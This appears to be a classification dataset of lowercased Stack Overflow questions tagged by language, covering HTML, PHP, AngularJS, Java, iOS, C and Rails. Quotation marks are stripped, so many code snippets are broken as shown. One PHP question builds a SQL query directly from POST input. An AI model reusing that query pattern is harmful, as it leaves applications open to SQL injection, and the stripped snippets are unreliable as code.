&gt;                                             &lt;h5&gt;elecrama 2014&lt;/h5&gt;                                             &lt;span&gt;date : 8th - 12th jan  2014. &lt;br&gt;      stall no: h2a55 &lt;br&gt;      biec       bangalore  india&lt;/span&gt;                                         &lt;/figcaption&gt;                                     &lt;/figure&gt;                                 &lt;/div&gt;                             &lt;/li&gt;                             &lt;!-- end portfolio item --&gt;                              &lt;!-- begin portfolio item --&gt;                             &lt;!--&lt;li class= list_item col-lg-4 col-md-4 col-sm-4 2012 &gt;                                 &lt;div class= recent-item &gt;                                     &lt;figure&gt;                                         &lt;div class= touching medium &gt;                                             &lt;img src= img/portfolio/portfolio_2.png  alt=   /&gt;                                             &lt;div class= hovers &gt;                                                 &lt;a href= img/portfolio/full/portfolio_2.png  class= hover-zoom mfp-image  &gt;&lt;i class= fa fa-search &gt;&lt;/i&gt;&lt;/a&gt;                                                 &lt;a href= portfolio_single.html  class= hover-link &gt;&lt;i class= fa fa-link &gt;&lt;/i&gt;&lt;/a&gt;                                             &lt;/div&gt;                                         &lt;/div&gt;                                         &lt;figcaption class= item-description &gt;                                             &lt;h5&gt;power &amp; electricity world africa 2012&lt;/h5&gt;                                             &lt;span&gt;date : 27th - 28th march  2012&lt;br&gt; stall no: znb-9 ind 10   sandton convention centre  johannesburg  south africa&lt;/span&gt;                                         &lt;/figcaption&gt;                                     &lt;/figure&gt;                                 &lt;/div&gt;                             &lt;/li&gt;--&gt;                             &lt;!-- end portfolio item --&gt;                              &lt;!-- begin portfolio item --&gt;                             &lt;li class= list_item col-lg-4 col-md-4 col-sm-4 2012 &gt;                                 &lt;div class= recent-item &gt;                                     &lt;figure&gt;                                         &lt;div class= touching medium &gt;                                             &lt;img src= images/events/2012-1.jpg  alt=   /&gt;                                             &lt;div class= hovers &gt;                                                 &lt;a href= images/events/full/2012-1.jpg  class= hover-zoom mfp-image   style= left:45%; &gt;&lt;i class= fa fa-search &gt;&lt;/i&gt;&lt;/a&gt;                                                 &lt;!--&lt;a href= portfolio_single.html  class= hover-link &gt;&lt;i class= fa fa-link &gt;&lt;/i&gt;&lt;/a&gt;--&gt;                                             &lt;/div&gt;                                         &lt;/div&gt;                                         &lt;figcaption class= item-description &gt;                                             &lt;h5&gt;elecrama 2012&lt;/h5&gt;                                             &lt;span&gt;date : 18th - 22nd jan 2012&lt;br&gt; stall no: h5 e10r70&lt;br&gt;  bombay exhibition centre  mumbai  india&lt;/span&gt;                                         &lt;/figcaption&gt;                                     &lt;/figure&gt;                                 &lt;/div&gt;                             &lt;/li&gt;                             &lt;!-- end portfolio item --&gt;                              &lt;!-- begin portfolio item --&gt;                             &lt;li class= list_item col-lg-4 col-md-4 col-sm-4 2012 &gt;                                 &lt;div class= recent-item &gt;                                     &lt;figure&gt;                                         &lt;div class= touching medium &gt;                                             &lt;img src= images/events/2012-2.jpg  alt=   /&gt;                                             &lt;div class= hovers &gt;                                                 &lt;a href= images/events/full/2012-2.jpg  class= hover-zoom mfp-image   style= left:45%; &gt;&lt;i class= fa fa-search &gt;&lt;/i&gt;&lt;/a&gt;                                                 &lt;!--&lt;a href= portfolio_single.html  class= hover-link &gt;&lt;i class= fa fa-link &gt;&lt;/i&gt;&lt;/a&gt;--&gt;                                             &lt;/div&gt;                                         &lt;/div&gt;                                         &lt;figcaption class= item-description &gt;                                             &lt;h5&gt;elecrama 2012&lt;/h5&gt;                                             &lt;span&gt;date : 18th - 22nd jan 2012&lt;br&gt; stall no: h5 e10r70&lt;br&gt;  bombay exhibition centre  mumbai  india&lt;/span&gt;                                         &lt;/figcaption&gt;                                     &lt;/figure&gt;                                 &lt;/div&gt;                             &lt;/li&gt;                             &lt;!-- end portfolio item --&gt;                              &lt;!-- begin portfolio item --&gt;                             &lt;li class= list_item col-lg-4 col-md-4 col-sm-4 2012 &gt;                                 &lt;div class= recent-item &gt;                                     &lt;figure&gt;                                         &lt;div class= touching medium &gt;                                             &lt;img src= images/events/2012-3.jpg  alt=   /&gt;                                             &lt;div class= hovers &gt;                                                 &lt;a href= images/events/full/2012-3.jpg  class= hover-zoom mfp-image   style= left:45%; &gt;&lt;i class= fa fa-search &gt;&lt;/i&gt;&lt;/a&gt;                                                 &lt;!--&lt;a href= portfolio_single.html  class= hover-link &gt;&lt;i class= fa fa-link &gt;&lt;/i&gt;&lt;/a&gt;--&gt;                                             &lt;/div&gt;                                         &lt;/div&gt;                                         &lt;figcaption class= item-description &gt;                                             &lt;h5&gt;elecrama 2012&lt;/h5&gt;                                             &lt;span&gt;date : 18th - 22nd jan 2012&lt;br&gt; stall no: h5 e10r70&lt;br&gt;  bombay exhibition centre  mumbai  india&lt;/span&gt;                                         &lt;/figcaption&gt;                                     &lt;/figure&gt;                                 &lt;/div&gt;                             &lt;/li&gt;                             &lt;!-- end portfolio item --&gt;                                &lt;!-- begin portfolio item --&gt;                             &lt;!--&lt;li class= list_item col-lg-4 col-md-4 col-sm-4 2012 &gt;                                 &lt;div class= recent-item &gt;                                     &lt;figure&gt;                                         &lt;div class= touching medium &gt;                                             &lt;img src= img/portfolio/portfolio_4.png  alt=   /&gt;                                             &lt;div class= hovers &gt;                                                 &lt;a href= img/portfolio/full/portfolio_4.png  class= hover-zoom mfp-image  &gt;&lt;i class= fa fa-search &gt;&lt;/i&gt;&lt;/a&gt;                                                 &lt;a href= portfolio_single.html  class= hover-link &gt;&lt;i class= fa fa-link &gt;&lt;/i&gt;&lt;/a&gt;                                             &lt;/div&gt;                                         &lt;/div&gt;                                         &lt;figcaption class= item-description &gt;                                             &lt;h5&gt;middle east electricity 2012&lt;/h5&gt;                                             &lt;span&gt;date : 7th - 9th feb 2012&lt;br&gt;      stall no: zn 18      india pavalion &lt;br&gt;       international exhibition centre       dubai  uae&lt;/span&gt;                                         &lt;/figcaption&gt;                                     &lt;/figure&gt;                                 &lt;/div&gt;                             &lt;/li&gt;--&gt;                             &lt;!-- end portfolio item --&gt;                              &lt;!-- begin portfolio item --&gt;                             &lt;!--&lt;li class= list_item col-lg-4 col-md-4 col-sm-4 2011 &gt;                                 &lt;div class= recent-item &gt;                                     &lt;figure&gt;                                         &lt;div class= touching medium &gt;                                             &lt;img src= img/portfolio/portfolio_5.png  alt=   /&gt;                                             &lt;div class= hovers &gt;                                                 &lt;a href= img/portfolio/full/portfolio_5.png  class= hover-zoom mfp-image  &gt;&lt;i class= fa fa-search &gt;&lt;/i&gt;&lt;/a&gt;                                                 &lt;a href= portfolio_single.html  class= hover-link &gt;&lt;i class= fa fa-link &gt;&lt;/i&gt;&lt;/a&gt;                                             &lt;/div&gt;                                         &lt;/div&gt;                                         &lt;figcaption class= item-description &gt;                                             &lt;h5&gt;middle east electricity 2011&lt;/h5&gt;                                             &lt;span&gt;date : 8th - 10th feb 2011&lt;br&gt;      stall no: zq 58        india pavalion &lt;br&gt;       international exhibition centre       dubai  uae&lt;/span&gt;                                         &lt;/figcaption&gt;                                     &lt;/figure&gt;                                 &lt;/div&gt;                             &lt;/li&gt;--&gt;                             &lt;!-- end portfolio item --&gt;                              &lt;!-- begin portfolio item --&gt;                             &lt;li class= list_item col-lg-4 col-md-4 col-sm-4 2010 &gt;                                 &lt;div class= recent-item &gt;                                     &lt;figure&gt;                                         &lt;div class= touching medium &gt;                                             &lt;img src= images/events/2010-1.jpg  alt=   /&gt;                                             &lt;div class= hovers &gt;                                                 &lt;a href= images/events/full/2010-1.jpg  class= hover-zoom mfp-image   style= left:45%; &gt;&lt;i class= fa fa-search &gt;&lt;/i&gt;&lt;/a&gt;                                                 &lt;!--&lt;a href= portfolio_single.html  class= hover-link &gt;&lt;i class= fa fa-link &gt;&lt;/i&gt;&lt;/a&gt;--&gt;                                             &lt;/div&gt;                                         &lt;/div&gt;                                         &lt;figcaption class= item-description &gt;                                             &lt;h5&gt;elecrama 2010&lt;/h5&gt;                                             &lt;span&gt;date : 20th - 24th jan 2010&lt;br&gt; stall no: h1 g50&lt;br&gt;  bombay exhibition centre  mumbai  india&lt;/span&gt;                                         &lt;/figcaption&gt;                                     &lt;/figure&gt;                                 &lt;/div&gt;                             &lt;/li&gt;                             &lt;!-- end portfolio item --&gt;                              &lt;!-- begin portfolio item --&gt;                             &lt;li class= list_item col-lg-4 col-md-4 col-sm-4 2010 &gt;                                 &lt;div class= recent-item &gt;                                     &lt;figure&gt;                                         &lt;div class= touching medium &gt;                                             &lt;img src= images/events/2010-2.jpg  alt=   /&gt;                                             &lt;div class= hovers &gt;                                                 &lt;a href= images/events/full/2010-2.jpg  class= hover-zoom mfp-image  style= left:45%; &gt;&lt;i class= fa fa-search &gt;&lt;/i&gt;&lt;/a&gt;                                                &lt;!-- &lt;a href= portfolio_single.html  class= hover-link alone &gt;&lt;i class= fa fa-link &gt;&lt;/i&gt;&lt;/a&gt;--&gt;                                             &lt;/div&gt;                                         &lt;/div&gt;                                         &lt;figcaption class= item-description &gt;                                             &lt;h5&gt;elecrama 2010&lt;/h5&gt;                                             &lt;span&gt;date : 20th - 24th jan 2010&lt;br&gt; stall no: h1 g50&lt;br&gt;  bombay exhibition centre  mumbai  india&lt;/span&gt;                                         &lt;/figcaption&gt;                                     &lt;/figure&gt;                                 &lt;/div&gt;                             &lt;/li&gt;                             &lt;!-- end portfolio item --&gt;                              &lt;!-- begin portfolio item --&gt;                             &lt;li class= list_item col-lg-4 col-md-4 col-sm-4 2010 &gt;                                 &lt;div class= recent-item &gt;                                     &lt;figure&gt;                                         &lt;div class= touching medium &gt;                                             &lt;img src= images/events/2010-3.jpg  alt=   /&gt;                                             &lt;div class= hovers &gt;                                                 &lt;a href= images/events/full/2010-3.jpg  class= hover-zoom mfp-image   style= left:45%; &gt;&lt;i class= fa fa-search &gt;&lt;/i&gt;&lt;/a&gt;                                                &lt;!-- &lt;a href= portfolio_single.html  class= hover-link &gt;&lt;i class= fa fa-link &gt;&lt;/i&gt;&lt;/a&gt;--&gt;                                             &lt;/div&gt;                                         &lt;/div&gt;                                         &lt;figcaption class= item-description &gt;                                             &lt;h5&gt;elecrama 2010&lt;/h5&gt;                                             &lt;span&gt;date : 20th - 24th jan 2010&lt;br&gt; stall no: h1 g50&lt;br&gt;  bombay exhibition centre  mumbai  india&lt;/span&gt;                                         &lt;/figcaption&gt;                                     &lt;/figure&gt;                                 &lt;/div&gt;                             &lt;/li&gt;                             &lt;!-- end portfolio item --&gt;                                &lt;!-- begin portfolio item --&gt;                             &lt;!--&lt;li class= list_item col-lg-4 col-md-4 col-sm-4 responsive &gt;                                 &lt;div class= recent-item &gt;                                     &lt;figure&gt;                                         &lt;div class= touching medium &gt;                                             &lt;img src= img/portfolio/portfolio_7.png  alt=   /&gt;                                             &lt;div class= hovers &gt;                                                 &lt;a href= img/portfolio/full/portfolio_7.png  class= hover-zoom mfp-image  &gt;&lt;i class= fa fa-search &gt;&lt;/i&gt;&lt;/a&gt;                                                 &lt;a href= portfolio_single.html  class= hover-link &gt;&lt;i class= fa fa-link &gt;&lt;/i&gt;&lt;/a&gt;                                             &lt;/div&gt;                                         &lt;/div&gt;                                         &lt;figcaption class= item-description &gt;                                             &lt;h5&gt;consectetur adipisicing&lt;/h5&gt;                                             &lt;span&gt;technology&lt;/span&gt;                                         &lt;/figcaption&gt;                                     &lt;/figure&gt;                                 &lt;/div&gt;                             &lt;/li&gt;--&gt;                              &lt;!-- end portfolio item --&gt;                              &lt;!-- begin portfolio item --&gt;                             &lt;!--&lt;li class= list_item col-lg-4 col-md-4 col-sm-4 branding &gt;                                 &lt;div class= recent-item &gt;                                     &lt;figure&gt;                                         &lt;div class= touching medium &gt;                                             &lt;img src= img/portfolio/portfolio_8.png  alt=   /&gt;                                             &lt;div class= hovers &gt;                                                 &lt;a href= img/portfolio/full/portfolio_8.png  class= hover-zoom mfp-image  &gt;&lt;i class= fa fa-search &gt;&lt;/i&gt;&lt;/a&gt;                                                 &lt;a href= portfolio_single.html  class= hover-link &gt;&lt;i class= fa fa-link &gt;&lt;/i&gt;&lt;/a&gt;                                             &lt;/div&gt;                                         &lt;/div&gt;                                         &lt;figcaption class= item-description &gt;                                             &lt;h5&gt;ipsum dolor&lt;/h5&gt;                                             &lt;span&gt;technology&lt;/span&gt;                                         &lt;/figcaption&gt;                                     &lt;/figure&gt;                                 &lt;/div&gt;                             &lt;/li&gt;--&gt;                             &lt;!-- end portfolio item --&gt;                              &lt;!-- begin portfolio item --&gt;                             &lt;!--&lt;li class= list_item col-lg-4 col-md-4 col-sm-4 branding &gt;                                 &lt;div class= recent-item &gt;                                     &lt;figure&gt;                                         &lt;div class= touching medium &gt;                                             &lt;img src= img/portfolio/portfolio_9.png  alt=   /&gt;                                             &lt;div class= hovers &gt;                                                 &lt;a href= img/portfolio/full/portfolio_2.png  class= hover-zoom mfp-image  &gt;&lt;i class= fa fa-search &gt;&lt;/i&gt;&lt;/a&gt;                                                 &lt;a href= portfolio_single.html  class= hover-link &gt;&lt;i class= fa fa-link &gt;&lt;/i&gt;&lt;/a&gt;                                             &lt;/div&gt;                                         &lt;/div&gt;                                         &lt;figcaption class= item-description &gt;                                             &lt;h5&gt;lorem ipsum&lt;/h5&gt;                                             &lt;span&gt;technology&lt;/span&gt;                                         &lt;/figcaption&gt;                                     &lt;/figure&gt;                                 &lt;/div&gt;                             &lt;/li&gt;--&gt;                              &lt;!-- end portfolio item --&gt;                         &lt;/ul&gt; &lt;!--end portfolio_list --&gt;                     &lt;/div&gt; </code></pre>   <strong>adding the image from view code</strong> <a href= http://i.stack.imgur.com/ogvwv.png  rel= nofollow >enter image description here</a>,asp.net
error in php script   undefined variable <pre><code>&lt; php include_once( connection.php );  $username = $_post[ txtusername ];  $query =  select * from cart_management where username =  $username  order by cart_name asc ;   $result = mysqli_query($conn  $query);  while($row = mysqli_fetch_assoc($result)){         $data[] = $row; } echo json_encode($data)  &gt; </code></pre>   <a href= https://i.stack.imgur.com/yyqtj.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/yyqtj.png  alt= enter image description here ></a>    please help me to cater this   i am unable to fix this issue,php
why do the characters % * +   - / ; < = > ^ need to be escaped in html attributes   i have seen everyone doing attribute escaping for single <code> </code> and double <code> </code> quotes and i understood the reason why  but i don t understand why someone is doing attribute escaping with <code>% * +   - / ; &lt; = &gt; ^</code>.    could you please let me know why we have escape these all things  can you please give some example for this,html
getting search result on different form in a grid in window application  i am using window forms application.i wants when i click on search button new form must be open containing the result of search and when i select a record it must be inserted into corresponding textboxes. please suggest me sir.,.net
pure js onclick element doesn t work  i m having trouble when i run this code under greasemonkey the last position working and run function.   <pre><code>var arry = []; arry = gm_listvalues(); for ( var i = 0; i &lt; arry.length; i++) {       document.getelementbyid( moje_menu ).innerhtml = document.getelementbyid( moje_menu ).innerhtml +  &lt;p id=   + arry[i] +   &gt;  + arry[i] +  &lt;/p&gt; ;     document.getelementbyid(arry[i]).onclick = delete; } </code></pre>   on 10 position the last working ... why,javascript
creating methods to an existing controller via terminal  i have an existing model that i d like to add a number of methods to. while i could <strong>manually</strong> add the methods to the controller as well as its corresponding style/script templates  and routes i d much rather have them done just as i would ve when i created the controller in the first place:   <pre><code>rails generate controllername hello goodbye </code></pre>   is there any way to accomplish this,ruby-on-rails
what has changed in angularjs 1.2.0rc1 to 1.2.0  that breaks this code   i d like to know what changes in angularjs from version 1.2.0rc to 1.2.0  that breaks this code:    <a href= http://codepen.io/anon/pen/iwptv  rel= nofollow >http://codepen.io/anon/pen/iwptv</a>    i know how to correct  just replace   <pre><code>    ng-click= alertar({{$index}})  </code></pre>   by   <pre><code>    ng-click= alertar($index)  </code></pre>   why ng-click has a different behavior from other elements  like class or id  where the use of curly braces is still necessary  it was a breaking change,angularjs
decorator design - option strict on disallows narrowing  i work thru a design pattern book and just cannot reply the decorator class example. i tried the example 1by1 here is the example (shortend):   <blockquote> <pre><code>public interface takehomepay function gettakehomepay() as double  end interface  public class employee : implements takehomepay private m_grosswage as double private m_netwage as double public function gettakehomepay() as double implements takehomepay.gettakehomepay     return m_netwage end function end class  public mustinherit class wageadjustment : implements takehomepay protected m_takehomepay as takehomepay public sub new(byref thp as takehomepay)     m_takehomepay = thp end sub public function gettakehomepay() as double implements takehomepay.gettakehomepay     return m_takehomepay.gettakehomepay end function  end class  public class countrytax : inherits wageadjustment private m_countryname as string  public sub new(byref thp as takehomepay  byval countryname as string)     mybase.new(thp)     m_countryname = countryname end sub  public sub deducttax()      something end sub end class </code></pre> </blockquote>   the employee class is the concrete class  the wageadjustment class is the decorator class and the countrytax class is the decorator subclass. my problem is  as soon as i try to use this in my client like   <pre><code>private sub button1_click(sender as object  e as eventargs) handles button1.click     dim objemployee as new employee     dim objcountrytax as countrytax     objcountrytax = new countrytax(objemployee   usa ) end sub </code></pre>   <code>objemployee</code> in the line  <code>objcountrytax = new countrytax(objemployee   usa )</code>  gives me the error:    <blockquote>     option strict on disallows narrowing from type  takehomepay  to type    employee  in copying the value of byref parameter thp  back to the   matching argument   </blockquote>   msdn says that reverse conversion of the byref paramenter (thp) is narrowing. i just cannot see  why the object (based on the interface) is narrowed (maybe i just dont get the definition of narrowing though...) according to the book this should work perfect but the book is 8 years old  so maybe there has been some changes in vs or .net. i am using vs 2012. could anyone tell me why this is not working and how i can get it work,.net
ios uiview touchesbegan not getting called  i have some uiviews:   <pre><code>top uiview: matrixviewcontroller ---- sub1 uiview ---- sub2 uiview ---- subx uiview </code></pre>   in each sub views i have set self.userinteractionenabled=yes.  each sub uiview do get it s touchesbegan called...    but  when touching beside of any of the sub views the topparent s touchesbegan is not getting called     appdelegate:   <pre><code>... self.matrixviewcontroller = [[matrixviewcontroller alloc] init]; self.window.rootviewcontroller = self.matrixviewcontroller; [self.window makekeyandvisible]; return yes; </code></pre>   the topparent uiview is created in viewcontroller / viewdidload:   <pre><code>cgrect rect = [[uiscreen mainscreen] applicationframe]; matrixviewcontroller matrix = [[matrixviewcontroller alloc] initwithframe:rect]; [self setview:matrix]; </code></pre>   thanks,ios
php s folder-reading functions do not find symbolic links  <code>readdir</code> and <code>scandir</code> don t find symbolic links to files or folders  and they don t find internet shortcut links (.url files)  either (which is what i need). is this normal behavior  <a href= http://www.electrictoolbox.com/php-scandir-find-files/  rel= nofollow >this post from 2009</a> says that the links should be read.    i m running php 5.4.11 on localhost. on windows.,php
add alternating table row colour based on date   i have a table in html and the first column in each row contains a date. i want to give some sort of separation based on date. so all rows with todays date would be dark grey  yesterdays row would be light grey and then two days ago would be a grey again and so on.    is there an easy way to do this     thanks,html
how does the licenses.licx based .net component licensing model work   i ve encountered multiple third party .net component-vendors that use a licensing scheme. on an evaluation copy  the components show up with a nag-screen or watermark or some such indicator. on a licensed machine  a <strong>licenses.licx</strong> is created - with what appears to be <em>just</em> the assembly full name/identifiers. this file has to be included when the client assembly is built.   <ul> <li>how does this model work  both from component-vendors  and users  perspective.</li> <li>what is the .licx file used for  should it be checked in  <em>we ve had a number of issues with the wrong/right .licx file being checked in and what not</em></li> </ul>,.net
input an object in listadapter in android  i am new in android.    i have a list that must be viewed like this: pic   name   desc    i have a list of buckets that contains all 3 info above. the problem is  i can only make one field appear in the view. in this case  the bucket.getbucketname().   <pre><code>protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         list&lt;bucket&gt; buckets = buckethandler.getbucketlist();         list&lt;string&gt; bucketlist = new arraylist&lt;string&gt;();         for (bucket bucket : buckets){             bucketlist.add(bucket.getbucketname());         }         setlistadapter(new arrayadapter&lt;string&gt;(this  r.layout.row                  r.id.bucket_list  bucketlist));     } </code></pre>   my .xml is as follows:   <pre><code>&lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android      android:orientation= vertical      android:layout_width= fill_parent      android:layout_height= fill_parent &gt;          &lt;listview         android:id= @id/android:list          android:layout_width= fill_parent          android:layout_height= 0dip          android:layout_weight= 1          android:drawselectorontop= false /&gt;      &lt;textview         android:id= @id/android:empty          android:layout_width= fill_parent          android:layout_height= fill_parent          android:text= @string/nodata /&gt;   &lt;/linearlayout&gt; </code></pre>   row layout:   <pre><code>&lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android      xmlns:tools= http://schemas.android.com/tools      android:layout_width= fill_parent      android:layout_height= wrap_content      android:orientation= horizontal       android:background= @color/lightgray &gt;      &lt;imageview         android:id= @+id/icon          android:layout_width= wrap_content          android:layout_height= wrap_content          android:contentdescription= @string/none          android:src= @drawable/ic_launcher  /&gt;      &lt;textview         android:id= @+id/bucket_list          android:layout_width= 210dp          android:layout_height= wrap_content          android:layout_marginleft= 15dp          android:layout_margintop= 15dp /&gt;      &lt;textview         android:id= @+id/bucket_percentage          android:layout_margintop= 15dp          android:layout_width= 40dp          android:layout_height= wrap_content          android:layout_marginright= 10dp      /&gt;      &lt;textview         android:id= @id/android:hidden_id          android:layout_width= fill_parent          android:layout_height= fill_parent          android:visibility= gone      /&gt;  &lt;/linearlayout&gt; </code></pre>   how can i render all three fields inside the item list  thank you.,android
unable to set selected value in angularjs  i have several select boxes on my edit form  now when the page loads data is loaded into it  this works for all textboxes and checkboxes but not selectboxes  i am unable to set the selected value for them i have googled so many things but i still cannot seem to find what i am doing wrong  this is my html:   <pre><code>&lt;div class= form-group  ng-init= getroles() &gt;     &lt;label for= roles &gt;role&lt;/label&gt;     &lt;select style= width: 100%;  data-toggle= select2   ng-model= form.role_id  ng-options= item.id as item.role for item in roles &gt;     &lt;/select&gt; &lt;/div&gt; </code></pre>   this is the function that gets and sets the user info in my controller:   <pre><code>$scope.getuserinfo = function() {      userservice.get($stateparams.id)         .success(function (data  status  headers  config) {             if (data.user != undefined)             {                 $scope.form = data.user;             }         })  }; </code></pre>   this the function that gets and sets the roles in my controller:   <pre><code>$scope.getroles = function() {      roleservice.get()         .success(function (data  status  headers  config) {             if (data.roles != undefined)             {                 $scope.roles = data.roles;             }         })   }; </code></pre>   i have verified the returned data and it is indeed correct. this is the returned json:   <pre><code>{ user :{ id :2  email : xxxxxxx@gmail.com   role_id :2  institution_id :null  is_active :1}} </code></pre>   and this is the returned roles json:   <pre><code>{ roles :[{ id :2  role : system } { id :3  role : administrator } { id :4  role : instructor }]} </code></pre>,angularjs
finding commas inside a char array  i have 2 problems with this function:   <pre><code>char * getheader( char localstring[]  int seperatornum) {     int maxl=50;     const char seperator= : ;     char newdata[maxl];     int counter=0;     for(int k=0;k&lt;maxl;k++)     {         if ( localstring[k]==  seperator   )         {             counter++;             if(counter==seperatornum)             { serial.println(newdata);    return newdata;     }          }          newdata[k]=localstring[k];     } } </code></pre>  <ol> <li>when i print the <code>newdata</code> i get garbage  but <code>localstring[k]</code> is showing good results.</li> <li>how would i return the array-is my way good </li> </ol>   edit: i am getting bb after each and every result .  so :   <pre><code>aaa:sss (send) aaabb    (get) kkk:ooo  (send) kkkbb   (get) ppp:ttt pppbb </code></pre>,c
what type of programs are best written in c  joel and company expound on the virtues of learning c and how the best way to learn a language is to actually write programs using that use it.  to that effect  which types of applications are most suitable to the c programming language     edit: i am looking for what c is good at.  this likely does not coincide with the best way of learning c.,c
button s tag are same in tableview  i add view for header  here is my code:   <pre><code>-(uiview*)tableview:(uitableview *)tableview viewforheaderinsection:(nsinteger)section {      uiview *view = [[uiview alloc] init];     view.layer.borderwidth = 0.5;     view.layer.bordercolor = [uicolor colorwithred:127.0/255.0 green:229.0/255.0 blue:232.0/255.0 alpha:1.0].cgcolor;     view.backgroundcolor = [uicolor clearcolor];      uilabel *label = [[uilabel alloc] initwithframe:cgrectmake(30  0  150  50)];     label.text = sectionarray[section];     label.backgroundcolor = [uicolor clearcolor];     label.textcolor = [uicolor colorwithred:0.0 green:122.0/255.0 blue:1.0 alpha:1.0];      button = [[uibutton alloc] initwithframe:cgrectmake(self.mytableview.frame.size.width - 50  15  20  20)];     [button setimage:[uiimage imagenamed:@ down ] forstate:uicontrolstatenormal];     button.tag = section;     [button addtarget:self action:@selector(extentfunction) forcontrolevents:uicontroleventtouchupinside];      [view addsubview:label];     [view addsubview:button];     return view; }  -(void)extentfunction {      switch (button.tag) {         case 0:             nslog(@ 0 );             break;         case 1:             nslog(@ 1 );             break;         case 2:             nslog(@ 2 );             break;         case 3:             nslog(@ 3 );             break;         default:             break;     } } </code></pre>   the question is: the button s tag is same of each header  not the section integer (ex: first header button s tag is 0; second header button s tag is 1)that i want.    what should i do,objective-c
how can i make this faster   i have made an event system  however  it is too slow.    the issue  is that there are multiple entries in a map that i never actually added. i don t understand how they get there.   <pre><code>public class ordinalmap&lt;v&gt; {      private final map&lt;integer  v&gt; map;      public ordinalmap(class&lt;  extends enum&lt; &gt;&gt; valuetype  v virginvalue) {         map = new hashmap&lt;integer  v&gt;();         enum&lt; &gt;[] enums = valuetype.getenumconstants();         for (int i = 0; i &lt; enums.length; i++) {             put(enums[i].ordinal()  virginvalue);         }     }      public ordinalmap(class&lt;  extends enum&lt; &gt;&gt; valuetype) {         this(valuetype  null);     }      public v put(integer key  v value) {         return map.put(key  value);     }      public v get(object o) {         return map.get(o);     }      public set&lt;entry&lt;integer  v&gt;&gt; entryset() {         return map.entryset();     }  } </code></pre>   i want to make <em>dispatchevent</em> faster (less iterations). it has too many iterations because of <em>registerlistener</em>    there are event handler methods inside of all of the other priorities  when they shouldn t be there. i can t figure out why there are there  but i m certain it s in <em>registerlistener</em>. because they are inside all priorities  i have to use this check:     <em>if (mapping.getkey().getannotation(eventhandler.class).priority().ordinal() ==     entry.getkey()) {</em>    which makes it even slower.   <pre><code>@override public void dispatchevent(event event) {     ordinalmap&lt;map&lt;method  eventlistener&gt;&gt; prioritymap = getregistry().get(event.getclass());      if (prioritymap != null) {         cancellableevent cancellableevent = null;         boolean cancellable;         if (cancellable = event instanceof cancellableevent) {             cancellableevent = (cancellableevent) event;             if (cancellableevent.iscancelled()) return;         }          try {             for (entry&lt;integer  map&lt;method  eventlistener&gt;&gt; entry : prioritymap.entryset()) {                 for (entry&lt;method  eventlistener&gt; mapping : entry.getvalue().entryset()) {                     if (mapping.getkey().getannotation(eventhandler.class).priority().ordinal() == entry.getkey()) {                         mapping.getkey().invoke(mapping.getvalue()  event);                         if (cancellable &amp;&amp; cancellableevent.iscancelled()) return;                     }                 }             }         } catch (invocationtargetexception | illegalaccessexception e) {             e.printstacktrace();         }     } }  @override public void registerlistener(eventlistener listener) {     for (method method : listener.getclass().getmethods()) {         eventhandler handler = method.getannotation(eventhandler.class);         if (handler != null) {             class&lt; &gt;[] parameters = method.getparametertypes();             if (parameters.length == 1) {                 @suppresswarnings( unchecked )                 class&lt;  extends event&gt; event = (class&lt;  extends event&gt;) parameters[0];                 eventpriority priority = handler.priority();                  ordinalmap&lt;map&lt;method  eventlistener&gt;&gt; prioritymap = getregistry().get(event);                 if (prioritymap == null) {                     prioritymap = new ordinalmap&lt;map&lt;method  eventlistener&gt;&gt;(eventpriority.class  (map&lt;method  eventlistener&gt;) new hashmap&lt;method  eventlistener&gt;());                 }                  map&lt;method  eventlistener&gt; methodmap = prioritymap.get(priority.ordinal());                  methodmap.put(method  listener);                 prioritymap.put(priority.ordinal()  methodmap);                  getregistry().put(event  prioritymap);             }         }     } } </code></pre>,java
ror - create user on create and not when user goes to new page  i m trying to set up my rails app so that when a user goes to www.example.com/personal_messages/new   it doesn t create a new account  but rather when the user submits it. but problem is that i will get an error if i move the user.create function. is there a workaround to this     personal_messages controller   <pre><code>class personalmessagescontroller &lt; applicationcontroller   before_action :check_receiver!  only: [:new  :create]    def new     redirect_to conversation_path(@conversation) and return if @conversation     @personal_message = current_user.personal_messages.build   end    def create     @conversation ||= conversation.create(author_id: cookies[:user_id]                                           receiver_id: @receiver)     @personal_message = current_user.personal_messages.build(personal_message_params)     @personal_message.conversation_id = @conversation.id     @personal_message.save!      flash[:success] =  ok!      redirect_to conversation_path(@conversation)   end    private    def personal_message_params     params.require(:personal_message).permit(:body)   end    def check_receiver!     @ip = request.remote_ip     if cookies[:user_id].blank       @user = user.create(email:  thinkrtcvisitor-#{rand(999999)}@visitor.com   ip_address: @ip  password:  12345678   password_confirmation:  12345678 )        @user.save!         cookies.permanent[:user_id] = @user.id         cookies.permanent[:current_user_cookie] = user.find_by_id(cookies[:user_id])         session[:user_id] = @user.id    end     @receiver = cookies[:site_id]     @conversation = conversation.between(cookies[:user_id]  @receiver)[0]   end end </code></pre>,ruby-on-rails
<img src> tag issue while practicing html on macbook  can someone please give me a clear idea on why image does not show up when i use the <code>&lt;img src&gt;</code> tag as <code>&lt;img src= ../../newimg.jpg &gt;</code> but image gets displayed when i use <code>&lt;img src= ../../newimg.jpg  &gt;</code>. got the difference  image gets displayed only when i give a space between <strong>newimg.jpg</strong> and  <strong> </strong> . don t know why this happens.    i m using macbook pro. tried the same code in textedit and bbedit.    code and image are under same folder.     /documents/website/index.html.    /documents/website/newimg.jpg    <strong>update</strong>    when i manually checked the image file name i was unable to identify any spaces after .jpg but when i inspect the image i think i found something. <a href= https://i.stack.imgur.com/9zpai.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/9zpai.png  alt= **test 1** ></a>    <a href= https://i.stack.imgur.com/juo0m.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/juo0m.png  alt= **test 2** ></a>,html
<pre> tag within paragraph not on separate line  i like how the <code>&lt;pre&gt;</code> tag preserves spacing  and i m using it to display programming code. is it possible to place it within a paragraph    <pre><code>&lt;p&gt; the c++ for loop &lt;pre&gt; for (int i = 0; i &lt; n; i++) &lt;/pre&gt; is used to ... &lt;/p&gt; </code></pre>   the problem with the above code is that the <code>&lt;pre&gt;</code> section is placed on its own line. i want everything to be on the same line.,html
rails or in if statement  i m not sure how to use the or in a view if statement.    this doesn t work:   <pre><code>&lt;% if current_user.employee.emptype.typename ==  admin  or  tech  %&gt; </code></pre>   thanks!,ruby-on-rails
